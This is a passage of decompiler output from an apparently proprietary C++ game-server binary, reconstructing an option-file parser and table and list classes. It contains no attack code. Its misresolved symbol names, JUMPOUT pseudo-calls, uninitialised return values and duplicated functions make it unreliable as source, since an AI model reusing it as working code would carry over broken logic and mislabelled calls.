(void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x808u); return 1; } // 5E1F56: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (005E1F80) -------------------------------------------------------- void __thiscall ORTable::_ORTable(ORTable *this) { ORTable *v1; // esi@1 ORKeyList *v2; // edi@1 void *v3; // eax@3 void *v4; // eax@5 void *v5; // edi@6 v1 = this; v2 = this->ort_PrimaryKey; if ( v2 ) { ORKeyList::_ORKeyList(v2); operator delete(v2); } v3 = v1->ort_DataRecord.l_Array; v1->ort_DataRecord.vfptr = (ListVtbl *)List::_vftable_; if ( v3 ) operator delete__(v3); v4 = v1->ort_DataArray.la_Array; if ( v4 ) { v5 = (char *)v4 - 4; _eh_vector_destructor_iterator_(v4, 0x808u, *((_DWORD *)v4 - 1), (void (__thiscall *)(void *))ORRecord::_ORRecord); operator delete__(v5); } ORColumnHeaderList::_ORColumnHeaderList(&v1->ort_HeaderList); } // 687D74: using guessed type int (__stdcall *List_ORRecord____vftable_[3])(__int16 hnd); //----- (005E2030) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ORTable *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); ORTable::operator_(v3, (int)ele); return 1; } // 5E2045: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (005E2060) -------------------------------------------------------- int __thiscall ORTable::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); memcpy((void *)(this + 24), (const void *)(a2 + 24), 0x808u); *(_WORD *)(this + 2084) = *(_WORD *)(a2 + 2084); *(_DWORD *)(this + 2088) = *(_DWORD *)(a2 + 2088); *(_DWORD *)(this + 2092) = *(_DWORD *)(a2 + 2092); *(_DWORD *)(this + 2096) = *(_DWORD *)(a2 + 2096); *(_WORD *)(this + 2100) = *(_WORD *)(a2 + 2100); *(_DWORD *)(this + 2104) = *(_DWORD *)(a2 + 2104); return result; } //----- (005E2100) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ORTable *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); ORTable::operator_(v3, (int)ele); return 1; } // 5E2116: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (005E2130) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ORTable *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; ORTable::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (005E2180) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ORTable *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; ORTable::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (005E21D0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (005E2220) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList(this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (005E2270) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (005E2390) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (005E24B0) -------------------------------------------------------- void __thiscall OptionReader::_OptionReader(OptionReader *this) { OptionReader *v1; // esi@1 void *v2; // eax@3 v1 = this; if ( this->m_strFileName._Myres >= 0x10 ) operator delete(*(void **)&this->m_strFileName._Bx._Buf[0]); v1->m_strFileName._Myres = 15; v1->m_strFileName._Mysize = 0; v1->m_strFileName._Bx._Buf[0] = 0; _eh_vector_destructor_iterator_(v1->or_TableArray, 0x83Cu, 32, (void (__thiscall *)(void *))ORTable::_ORTable); v2 = v1->or_TableList.l_Array; v1->or_TableList.vfptr = (ListVtbl *)List::_vftable_; if ( v2 ) operator delete__(v2); TokenArgument::_TokenArgument(&v1->or_Argument); } // 687D90: using guessed type int (__stdcall *List_ORTable____vftable_[3])(__int16 hnd); //----- (005E2560) -------------------------------------------------------- void __thiscall List::List(List *this, ListArray *array) { List *v2; // esi@1 int v3; // edi@1 signed int v4; // ecx@4 int v5; // edx@5 ListStruct *v6; // eax@7 ORRecord *v7; // ebp@7 int v8; // eax@7 v2 = this; this->vfptr = (ListVtbl *)List::_vftable_; this->l_ListArray = array; v3 = 0; if ( array->la_Array ) { List::l_MakeList(this, LOWORD(array->la_Size)); if ( v2->l_Array ) { v4 = 0; if ( v2->l_MaxSize > 0u ) { v5 = 0; do { if ( v4 < v2->l_MaxSize ) { v6 = v2->l_Array; v7 = v6[v5].ls_Content; v8 = (int)&v6[v5]; if ( !v7 ) *(_DWORD *)v8 = &array->la_Array[v3]; } ++v4; ++v3; ++v5; } while ( v4 < v2->l_MaxSize ); } } } else { this->l_Array = 0; } } // 687D74: using guessed type int (__stdcall *List_ORRecord____vftable_[3])(__int16 hnd); //----- (005E25E0) -------------------------------------------------------- void __thiscall ORTable::ORTable(ORTable *this) { ORTable *v1; // esi@1 void *v2; // eax@1 int v3; // ebp@2 v1 = this; *(_QWORD *)&this->ort_TableName.ort_Name[12] = 0i64; *(_QWORD *)&this->ort_TableName.ort_Name[4] = 0i64; *(_DWORD *)&this->ort_TableName.ort_Name[0] = 0; ORColumnHeaderList::ORColumnHeaderList(&this->ort_HeaderList); v1->ort_DataArray.la_Size = 32; v2 = operator new__(0x10104u); if ( v2 ) { v3 = (int)((char *)v2 + 4); *(_DWORD *)v2 = 32; _eh_vector_constructor_iterator_( (char *)v2 + 4, 0x808u, 32, (void (__thiscall *)(void *))ORRecord::ORRecord, (void (__thiscall *)(void *))ORRecord::_ORRecord); } else { v3 = 0; } v1->ort_DataArray.la_Array = (ORRecord *)v3; List::List(&v1->ort_DataRecord, &v1->ort_DataArray); v1->ort_PrimaryKey = 0; } //----- (005E2760) -------------------------------------------------------- char __thiscall OptionReader::or_Read(OptionReader *this, char *filename) { OptionReader *v2; // edi@1 _iobuf *v3; // esi@3 int v4; // esi@7 int v5; // ebp@7 int v6; // edx@9 int v7; // ecx@9 int v8; // eax@10 char v9; // al@12 char result; // al@58 FILE *fp; // [sp+Ch] [bp-1038h]@1 char com[4]; // [sp+10h] [bp-1034h]@5 int v13; // [sp+14h] [bp-1030h]@5 int v14; // [sp+18h] [bp-102Ch]@5 int v15; // [sp+1Ch] [bp-1028h]@5 int v16; // [sp+20h] [bp-1024h]@5 ORTokenReader token; // [sp+24h] [bp-1020h]@5 unsigned int v18; // [sp+1034h] [bp-10h]@1 int v19; // [sp+1040h] [bp-4h]@5 v18 = (unsigned int)&fp ^ __security_cookie; v2 = this; if ( filename ) std::basic_string_std::allocator>::assign( &this->m_strFileName, filename, strlen(filename)); v3 = fopen(filename, "r"); fp = v3; ORErrorMessage::operator_(&v2->or_Argument.errmsg, "Undefined Error"); if ( v3 ) { ORTokenReader::ORTokenReader(&token, v3, &v2->or_Argument); v19 = 0; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)com = 0; while ( 1 ) { if ( !ORTokenReader::ortr_ReadCommand(&token, (ORToken *)com) ) { LABEL_57: fclose(fp); v19 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); goto LABEL_58; } v4 = *(_DWORD *)com; v5 = v13; if ( *(_DWORD *)com != *(_DWORD *)OptionReader::or_CommentMark ) break; if ( v13 != dword_14F0DCA8 ) break; v6 = v14; v7 = v15; if ( v14 != dword_14F0DCAC ) goto LABEL_14; v8 = v16; if ( v15 == dword_14F0DCB0 && v16 == dword_14F0DCB4 ) { v9 = ORComment::orc_Exec(&v2->or_Argument.comment, &token); goto LABEL_49; } LABEL_15: if ( *(_DWORD *)com != *(_DWORD *)OptionReader::or_Brace || v13 != dword_14F0DB90 || v6 != dword_14F0DB94 || v7 != dword_14F0DB98 || v8 != dword_14F0DB9C ) { if ( *(_DWORD *)com != *(_DWORD *)OptionReader::or_Ignore || v13 != dword_14F0DC44 || v6 != dword_14F0DC48 || v7 != dword_14F0DC4C || v8 != dword_14F0DC50 ) { if ( *(_DWORD *)com != *(_DWORD *)OptionReader::or_Delimiter || v13 != dword_14F0DBA4 || v6 != dword_14F0DBA8 || v7 != dword_14F0DBAC || v8 != dword_14F0DBB0 ) { if ( *(_DWORD *)com != *(_DWORD *)OptionReader::or_Exchange || v13 != dword_14F0DB68 || v6 != dword_14F0DB6C || v7 != dword_14F0DB70 || v8 != dword_14F0DB74 ) { if ( ORToken::operator__((ORToken *)com, &OptionReader::or_Table) ) { v9 = OptionReader::or_ExecTable(v2, &token); } else { if ( ORToken::operator__((ORToken *)com, &OptionReader::or_ColumnType) ) { v9 = OptionReader::or_ExecColumnType(v2, &token); } else { if ( ORToken::operator__((ORToken *)com, &OptionReader::or_ColumnName) ) { v9 = OptionReader::or_ExecColumnName(v2, &token); } else { if ( ORToken::operator__((ORToken *)com, &OptionReader::or_Record) ) { v9 = OptionReader::or_ExecRecord(v2, &token); } else { if ( !ORToken::operator__((ORToken *)com, &OptionReader::or_RecordIn) ) { if ( v4 != *(_DWORD *)OptionReader::or_End || v5 != dword_14F0DC6C || v14 != dword_14F0DC70 || v15 != dword_14F0DC74 || v16 != dword_14F0DC78 ) ORErrorMessage::operator_(&v2->or_Argument.errmsg, "Undefined command"); goto LABEL_57; } v9 = OptionReader::or_ExecRecordIn(v2, &token); } } } } } else { v9 = ORExchange::ore_Exec(&v2->or_Argument.exchange, &token); } } else { v9 = ORDelimiter::ord_Exec((ORIgnore *)&v2->or_Argument.delimiter, &token); } } else { v9 = ORDelimiter::ord_Exec(&v2->or_Argument.ignore, &token); } } else { v9 = ORBrace::orb_Exec(&v2->or_Argument.brace, &token); } LABEL_49: if ( !v9 ) goto LABEL_57; } v6 = v14; v7 = v15; LABEL_14: v8 = v16; goto LABEL_15; } ORErrorMessage::operator_(&v2->or_Argument.errmsg, "File not found"); LABEL_58: __security_check_cookie((unsigned int)&fp ^ v18); return result; } // 14F0DB68: using guessed type int dword_14F0DB68; // 14F0DB6C: using guessed type int dword_14F0DB6C; // 14F0DB70: using guessed type int dword_14F0DB70; // 14F0DB74: using guessed type int dword_14F0DB74; // 14F0DB90: using guessed type int dword_14F0DB90; // 14F0DB94: using guessed type int dword_14F0DB94; // 14F0DB98: using guessed type int dword_14F0DB98; // 14F0DB9C: using guessed type int dword_14F0DB9C; // 14F0DBA4: using guessed type int dword_14F0DBA4; // 14F0DBA8: using guessed type int dword_14F0DBA8; // 14F0DBAC: using guessed type int dword_14F0DBAC; // 14F0DBB0: using guessed type int dword_14F0DBB0; // 14F0DC44: using guessed type int dword_14F0DC44; // 14F0DC48: using guessed type int dword_14F0DC48; // 14F0DC4C: using guessed type int dword_14F0DC4C; // 14F0DC50: using guessed type int dword_14F0DC50; // 14F0DC6C: using guessed type int dword_14F0DC6C; // 14F0DC70: using guessed type int dword_14F0DC70; // 14F0DC74: using guessed type int dword_14F0DC74; // 14F0DC78: using guessed type int dword_14F0DC78; // 14F0DCA8: using guessed type int dword_14F0DCA8; // 14F0DCAC: using guessed type int dword_14F0DCAC; // 14F0DCB0: using guessed type int dword_14F0DCB0; // 14F0DCB4: using guessed type int dword_14F0DCB4; //----- (005E2AB0) -------------------------------------------------------- char __thiscall MakePrimaryKeyColumn::lid_Call(MakePrimaryKeyColumn *this, ORField *ele, unsigned __int16 handle) { MakePrimaryKeyColumn *v3; // esi@1 ORToken *v4; // eax@1 ORRecord *v5; // ST04_4@7 ORToken *v6; // eax@7 char result; // al@8 v3 = this; v4 = ORField::orf_ColumnName(ele); if ( *(_DWORD *)&v4->ort_Name[0] != *(_DWORD *)&v3->mpkc_keycolumn.ort_Name[0] || *(_DWORD *)&v4->ort_Name[4] != *(_DWORD *)&v3->mpkc_keycolumn.ort_Name[4] || *(_DWORD *)&v4->ort_Name[8] != *(_DWORD *)&v3->mpkc_keycolumn.ort_Name[8] || *(_DWORD *)&v4->ort_Name[12] != *(_DWORD *)&v3->mpkc_keycolumn.ort_Name[12] || *(_DWORD *)&v4->ort_Name[16] != *(_DWORD *)&v3->mpkc_keycolumn.ort_Name[16] ) { result = 1; } else { if ( ele->vfptr->orf_GetType(ele) == 1 ) { v5 = v3->mpkc_rec; v6 = (ORToken *)ele->vfptr->orf_GetBuffer(ele); ORKeyList::okl_AddKey(v3->mpkc_keylist, v6, v5); } result = 0; } return result; } //----- (005E2B20) -------------------------------------------------------- char __thiscall OrderArgument::lid_Call(OrderArgument *this, ORRecord *ele, unsigned __int16 handle) { int v3; // eax@1 char result; // al@2 v3 = this->oa_target; if ( v3 > 0 ) { this->oa_target = v3 - 1; result = 1; } else { this->oa_record = ele; result = 0; } return result; } //----- (005E2B40) -------------------------------------------------------- char __thiscall ColumnCheckArgument::lid_Call(ColumnCheckArgument *this, ORField *ele, unsigned __int16 handle) { ColumnCheckArgument *v3; // edi@1 char result; // al@2 ORToken *v5; // esi@3 ORToken *v6; // eax@3 v3 = this; if ( ORToken::ort_IsNull(this->cca_column) ) { v3->cca_found = 1; result = 0; } else { v5 = v3->cca_column; v6 = ORField::orf_ColumnName(ele); if ( *(_DWORD *)&v6->ort_Name[0] != *(_DWORD *)&v5->ort_Name[0] || *(_DWORD *)&v6->ort_Name[4] != *(_DWORD *)&v5->ort_Name[4] || *(_DWORD *)&v6->ort_Name[8] != *(_DWORD *)&v5->ort_Name[8] || *(_DWORD *)&v6->ort_Name[12] != *(_DWORD *)&v5->ort_Name[12] || *(_DWORD *)&v6->ort_Name[16] != *(_DWORD *)&v5->ort_Name[16] ) { result = 1; } else { if ( ele->vfptr->orf_CompareContent(ele, v3->cca_contentstring, &v3->cca_contentindex) ) v3->cca_found = 1; result = 0; } } return result; } //----- (005E2BC0) -------------------------------------------------------- char __thiscall TargetColumnFindArgument::lid_Call(TargetColumnFindArgument *this, ORField *ele, unsigned __int16 handle) { TargetColumnFindArgument *v3; // esi@1 ORToken *v4; // eax@1 char result; // al@6 v3 = this; v4 = ORField::orf_ColumnName(ele); if ( *(_DWORD *)&v4->ort_Name[0] != *(_DWORD *)&v3->tcfa_target.ort_Name[0] || *(_DWORD *)&v4->ort_Name[4] != *(_DWORD *)&v3->tcfa_target.ort_Name[4] || *(_DWORD *)&v4->ort_Name[8] != *(_DWORD *)&v3->tcfa_target.ort_Name[8] || *(_DWORD *)&v4->ort_Name[12] != *(_DWORD *)&v3->tcfa_target.ort_Name[12] || *(_DWORD *)&v4->ort_Name[16] != *(_DWORD *)&v3->tcfa_target.ort_Name[16] ) { result = 1; } else { v3->tcfa_content = ele->vfptr->orf_GetBuffer(ele); *v3->tcfa_type = ele->vfptr->orf_GetType(ele); result = 0; } return result; } //----- (005E2C20) -------------------------------------------------------- char __thiscall TableNameCompareArgument::lid_Call(TableNameCompareArgument *this, ORTable *ele, unsigned __int16 handle) { TableNameCompareArgument *v3; // esi@1 int v4; // eax@1 char result; // al@6 v3 = this; MoveManager::MoveManager((DiceTaiSai *)ele); if ( *(_DWORD *)&v3->tnca_tablename.ort_Name[0] != *(_DWORD *)v4 || *(_DWORD *)&v3->tnca_tablename.ort_Name[4] != *(_DWORD *)(v4 + 4) || *(_DWORD *)&v3->tnca_tablename.ort_Name[8] != *(_DWORD *)(v4 + 8) || *(_DWORD *)&v3->tnca_tablename.ort_Name[12] != *(_DWORD *)(v4 + 12) || *(_DWORD *)&v3->tnca_tablename.ort_Name[16] != *(_DWORD *)(v4 + 16) ) { result = 1; } else { v3->tnca_found = ele; result = 0; } return result; } //----- (005E2C70) -------------------------------------------------------- void __thiscall ORColumnHeader::_ORColumnHeader(ORColumnHeader *this) { this->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeader::_vftable_; } // 687E64: using guessed type int (__stdcall *ORColumnHeader___vftable_)(int token, int targ); //----- (005E2C80) -------------------------------------------------------- ORToken *__thiscall ORColumnHeader::orch_GetColumnName(ORColumnHeader *this) { return &this->orch_ColumnName; } //----- (005E2C90) -------------------------------------------------------- int __thiscall ORColumnHeader::ortr_SetLength(ORColumnHeader *this, ORTokenReader *token, TokenArgument *targ) { return this->orch_Length; } //----- (005E2CA0) -------------------------------------------------------- char __thiscall ORColumnHeader::orch_FillCell(ORColumnHeader *this, ORTokenReader *token, ORRecord *datarecord) { ORColumnHeader *v3; // edi@1 unsigned __int16 v4; // ax@1 ORField *v5; // eax@1 ORField *v6; // esi@1 char result; // al@2 ORColumnHeader *hnd; // [sp+0h] [bp-4h]@1 hnd = this; v3 = this; v4 = ((int (*)(void))this->vfptr->orch_FieldType)(); v5 = ORRecord::orr_AllocObject(datarecord, (unsigned __int16 *)&hnd, v4); v6 = v5; if ( v5 ) { PacketContainer::pcb_SetSocketSession(v5, v3); ORRecord::orr_AllocMemory(datarecord, v6); result = v6->vfptr->orf_Read(v6, token); } else { ORTokenReader::ortr_SetError(token, "Cannot alloc field memory"); result = 0; } return result; } //----- (005E2D00) -------------------------------------------------------- int __thiscall ORColumnHeaderString::ortr_SetLength(ORColumnHeaderString *this, ORTokenReader *token, TokenArgument *targ) { ORTokenReader *v3; // esi@1 ORColumnHeaderString *v4; // ebp@1 char v5; // al@1 ORBrace *v6; // edi@1 int result; // eax@2 int v8; // ebx@3 char v9; // al@7 v3 = token; v4 = this; v5 = ORTokenReader::ortr_ReadChar(token); v6 = &targ->brace; if ( ORBrace::orb_IsOpen(&targ->brace, v5) ) { LOBYTE(token) = 0; v8 = ORTokenReader::ortr_ReadNumber(v3, (char *)&token); if ( (_BYTE)token ) { if ( v8 > 0 ) { v9 = ORTokenReader::ortr_ReadChar(v3); if ( ORBrace::orb_IsClose(v6, v9) ) { v4->baseclass_0.orch_Length = v8; result = v8; } else { ORTokenReader::ortr_SetError(v3, "Brace must be closed in same line"); result = 0; } } else { ORTokenReader::ortr_SetError(v3, "String length must be bigger then 0"); result = 0; } } else { ORTokenReader::ortr_SetError(v3, "Error in string length"); result = 0; } } else { ORTokenReader::ortr_SetError(v3, "String need length"); result = 0; } return result; } //----- (005E2DC0) -------------------------------------------------------- void __thiscall ORColumnHeaderList::ORColumnHeaderList(ORColumnHeaderList *this) { memset(this, 0, 0x800u); } //----- (005E2DE0) -------------------------------------------------------- ORColumnHeader *__thiscall ORColumnHeaderList::orchl_AllocObject(ORColumnHeaderList *this, unsigned __int16 *hnd, unsigned __int16 type) { ORColumnHeaderList *v3; // ebx@1 signed int v4; // edi@1 ORColumnHeader *result; // eax@4 v3 = this; v4 = 0; while ( this->orchl_fieldname[v4] ) { ++v4; if ( v4 >= 512 ) return 0; } switch ( type ) { case 1u: result = (ORColumnHeader *)operator new(0x1Cu); if ( !result ) goto LABEL_16; *(_DWORD *)&result->orch_ColumnName.ort_Name[16] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[12] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[8] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[4] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[0] = 0; result->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeaderIndex::_vftable_; result->orch_Length = 20; v3->orchl_fieldname[v4] = result; break; case 2u: result = (ORColumnHeader *)operator new(0x1Cu); if ( !result ) goto LABEL_16; *(_DWORD *)&result->orch_ColumnName.ort_Name[16] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[12] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[8] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[4] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[0] = 0; result->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeaderString::_vftable_; result->orch_Length = -1; v3->orchl_fieldname[v4] = result; break; case 3u: result = (ORColumnHeader *)operator new(0x1Cu); if ( !result ) goto LABEL_16; *(_DWORD *)&result->orch_ColumnName.ort_Name[16] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[12] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[8] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[4] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[0] = 0; result->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeaderByte::_vftable_; result->orch_Length = 1; v3->orchl_fieldname[v4] = result; break; case 4u: result = (ORColumnHeader *)operator new(0x1Cu); if ( !result ) goto LABEL_16; *(_DWORD *)&result->orch_ColumnName.ort_Name[16] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[12] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[8] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[4] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[0] = 0; result->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeaderWord::_vftable_; result->orch_Length = 2; v3->orchl_fieldname[v4] = result; break; case 5u: result = (ORColumnHeader *)operator new(0x1Cu); if ( !result ) { LABEL_16: v3->orchl_fieldname[v4] = 0; goto LABEL_17; } *(_DWORD *)&result->orch_ColumnName.ort_Name[16] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[12] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[8] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[4] = 0; *(_DWORD *)&result->orch_ColumnName.ort_Name[0] = 0; result->vfptr = (ORColumnHeaderVtbl *)&ORColumnHeaderDwrd::_vftable_; result->orch_Length = 4; v3->orchl_fieldname[v4] = result; break; default: LABEL_17: result = v3->orchl_fieldname[v4]; break; } return result; } // 687E88: using guessed type int (__stdcall *ORColumnHeaderIndex___vftable_)(int token, int targ); // 687E90: using guessed type int (__stdcall *ORColumnHeaderString___vftable_)(int token, char result); // 687F0C: using guessed type int (__stdcall *ORColumnHeaderByte___vftable_)(int token, int targ); // 687F14: using guessed type int (__stdcall *ORColumnHeaderWord___vftable_)(int token, int targ); // 687F1C: using guessed type int (__stdcall *ORColumnHeaderDwrd___vftable_)(int token, int targ); //----- (005E2F50) -------------------------------------------------------- char __thiscall ORRecord::orr_4AllInList(ORRecord *this, ListIteratorDefault *arg) { ORRecord *v2; // ebx@1 signed int v3; // esi@1 ORField *v4; // eax@2 v2 = this; v3 = 0; while ( 1 ) { v4 = v2->orr_FieldArray[v3]; if ( v4 ) { if ( !arg->vfptr->lid_Call(arg, v4, v3) ) break; } ++v3; if ( v3 >= 512 ) return 1; } return 0; } //----- (005E2F90) -------------------------------------------------------- char __thiscall MakePrimaryKey::lid_Call(MakePrimaryKey *this, ORRecord *ele, unsigned __int16 handle) { ORKeyList *v3; // edx@1 int v4; // esi@1 int v5; // eax@1 int arg; // [sp+4h] [bp-30h]@1 __int64 v8; // [sp+8h] [bp-2Ch]@1 int v9; // [sp+10h] [bp-24h]@1 int v10; // [sp+14h] [bp-20h]@1 int v11; // [sp+18h] [bp-1Ch]@1 ORRecord *v12; // [sp+1Ch] [bp-18h]@1 ORKeyList *v13; // [sp+20h] [bp-14h]@1 unsigned int v14; // [sp+24h] [bp-10h]@1 int v15; // [sp+30h] [bp-4h]@1 v14 = (unsigned int)&arg ^ __security_cookie; v3 = this->mpk_keylist; v8 = *(_QWORD *)&this->mpk_keycolumn.ort_Name[0]; v9 = *(_DWORD *)&this->mpk_keycolumn.ort_Name[8]; v4 = *(_DWORD *)&this->mpk_keycolumn.ort_Name[12]; v5 = *(_DWORD *)&this->mpk_keycolumn.ort_Name[16]; arg = (int)MakePrimaryKeyColumn::_vftable_; v10 = v4; v11 = v5; v12 = ele; v13 = v3; v15 = 0; ORRecord::orr_4AllInList(ele, (ListIteratorDefault *)&arg); __security_check_cookie((unsigned int)&arg ^ v14); return v5; } // 687F24: using guessed type int (__stdcall *MakePrimaryKeyColumn___vftable_[4])(int ele, __int16 handle); //----- (005E3030) -------------------------------------------------------- char __thiscall ColumnNameArgument::lid_Call(ColumnNameArgument *this, ORColumnHeader *ele, unsigned __int16 handle) { ColumnNameArgument *v3; // esi@1 char *v4; // eax@1 char result; // al@2 v3 = this; v4 = ORTokenReader::ortr_ReadString(this->cna_token, BIS_EXCLUDEBRACE); if ( v4 ) { *(_QWORD *)&ele->orch_ColumnName.ort_Name[12] = 0i64; *(_QWORD *)&ele->orch_ColumnName.ort_Name[4] = 0i64; *(_DWORD *)&ele->orch_ColumnName.ort_Name[0] = 0; strncpy(ele->orch_ColumnName.ort_Name, v4, 0x14u); result = 1; } else { ORTokenReader::ortr_SetError(v3->cna_token, "Column type-name mismatch"); result = 0; } return result; } //----- (005E3080) -------------------------------------------------------- char __thiscall DataRecordArgument::lid_Call(DataRecordArgument *this, ORColumnHeader *ele, unsigned __int16 handle) { return ORColumnHeader::orch_FillCell(ele, this->dra_token, this->dra_datarecord); } //----- (005E30A0) -------------------------------------------------------- char __thiscall 